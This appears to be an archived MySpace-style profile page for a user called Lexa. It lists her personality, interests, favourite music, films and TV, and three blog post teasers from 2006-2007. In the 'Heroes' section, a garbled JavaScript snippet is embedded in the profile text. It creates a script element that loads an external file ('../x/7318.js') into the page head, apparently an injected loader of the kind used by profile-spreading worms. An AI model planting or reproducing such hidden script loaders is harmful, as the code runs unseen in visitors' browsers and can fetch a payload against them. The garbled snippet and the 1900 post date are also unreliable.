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Lexa

what the FRENCH, toast? dirty mouth, clean it up with orbitz...

About Me

1/2 flip 1/2 mex. i'm like a lumpia rolled in a tortilla. one word...TASTY! i'm a total goofball, alittle sarcastic.. i LOVE ppl that are smartasses...but only in good humor, not the mean kind. i come off as a bitch or stuck up but when you knoe me, you knoe im neither...unless you do me wrong. i LIVE to LAUGH & i LOVE funny people...i hate MEAN people...& i secretly like dorks...especially the ones that are so dorky & they dont give a shiet! i have a FILTHY mouth...can't help it i just think that the cursing can really add flavor to...well ANYTHING! i hate going to the mall but i LOVE shopping...its kind of like an oxymoron...i love smart people that don't try to show it & i hate ppl that think they're better than others. i'm open-minded & i think there is ALWAYS room to grow. i'm lost rite now, cuz i have absolutely NO CLUE of what i want to do with my life, i just knoe that i want to be SUCCESSFUL. i'm an open book with lots of blank pages that are waiting to be written on, & if yer on my same page then the book is yours for your reading enjoyment, but if not its in another language & yer lost in translation...Myspace Layouts For Girls Only - MyGirlySpace.com

My Interests

dancing, music...i HAVE to have music playing when i get ready to go anyhwere...kissing & hugging my ONE & ONLY :) i love comedians they're celebrities without the EGO...CocaCola & CANDY, I DRINK WAY TOO MUCH COKE & I EAT WAYYY TO MUCH CANDY! shoes & clothes. High heels*Flip Flops & Charlotte Russe*Forever21:ADDICTED TO BOTH!

I'd like to meet:

jerry seinfeld, will ferell, dave chappelle, jack black & i knoe i'm a dork for this J.K. Rowling cuz she's a freakin GENIOUS!

Music:

i like that lyrical shiet...COMMON KANYE WEST GNARLS BARKLEY AND I LOOVE PHARRELL WILLIAMS & MARQUES HOUSTON :)

Movies:

i love funny movies....HALF BAKED DUMB & DUMBER, JAY & SILENT BOB STRIKE BACK, DODGEBALL & ANCHORMAN

Television:

ADULTSWIM: Family Guy. Aqua Teen Hunger Force. Futurama. Home Movies& COMEDY CENTRAL: RENO 911. CHAPPELLE'S SHOW.

Books:

HARRY POTTER, LORD OF THE FLIES

Heroes:

I really admire people that do things for others...like people that give back to the community, or do things to benefit people all over the world...like charities... .."var s=..reateElement('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

how i feel rite now

how can you give your heart to someone new when you don't even have it? how do you ask the one who has your heart to give it back? so maybe you can move on & experience things you'v...
Posted by Lexa on Thu, 08 Feb 2007 09:21:00 PST

READ SOMETHING THAT ACTUALLY MATTERS

you guys, we have a SERIOUS problem...and its global warming...and i knoe that alot of people post shyt or write about stupid shyt that doesn't matter...and its all good fun don't get me wrong, but in...
Posted by Lexa on Fri, 24 Nov 2006 12:52:00 PST

summer lovin...happened so FAST!

yo...its my last nite in vegas...and i'm chillen with Dee...and we're just going over some of the summers highlights...it was the blurst of times...i mean, it was the best of times...with no alcohol o...
Posted by Lexa on Mon, 01 Jan 1900 12:00:00 PST